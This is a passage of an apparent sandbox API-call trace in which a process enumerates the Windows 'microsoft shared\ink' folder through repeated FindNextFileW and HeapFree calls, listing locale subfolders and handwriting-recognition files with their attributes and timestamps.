FindNextFileW (in: hFindFile=0x543c90, lpFindFileData=0x34bfcf8 | out: lpFindFileData=0x34bfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf182444c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf182444c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0283.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.487] FindNextFileW (in: hFindFile=0x5438d0, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0283.491] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0283.492] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0283.492] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc4978 | out: hHeap=0x4e0000) returned 1 [0283.492] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0283.492] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc4978 | out: hHeap=0x4e0000) returned 1 [0283.492] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0283.493] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc4978 | out: hHeap=0x4e0000) returned 1 [0283.493] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0283.493] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc4978 | out: hHeap=0x4e0000) returned 1 [0283.493] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0283.493] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc4978 | out: hHeap=0x4e0000) returned 1 [0283.493] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0283.494] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc4978 | out: hHeap=0x4e0000) returned 1 [0283.494] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0283.494] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc4978 | out: hHeap=0x4e0000) returned 1 [0283.494] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0283.550] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc4978 | out: hHeap=0x4e0000) returned 1 [0283.550] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0283.551] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.551] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0283.551] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.551] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0283.552] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.552] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0283.552] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.552] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0283.552] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.552] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0283.553] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.553] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0283.555] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0283.556] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0283.559] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0283.559] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0283.560] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0283.560] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0283.562] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0283.562] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0283.563] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0283.563] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0283.564] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0283.564] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0283.564] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0283.564] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0283.565] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0283.565] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0283.565] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0283.565] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0283.566] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dd0978 | out: hHeap=0x4e0000) returned 1 [0283.566] FindNextFileW (in: hFindFile=0x543ad0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0283.566] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.566] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0283.566] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.566] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0283.566] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.566] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0283.567] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.567] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0283.567] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.567] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0283.569] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.569] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0283.570] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.570] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0283.570] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.570] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0283.570] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.570] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0283.571] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.571] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0283.571] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.571] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0283.572] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.572] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0283.572] HeapFree (in: 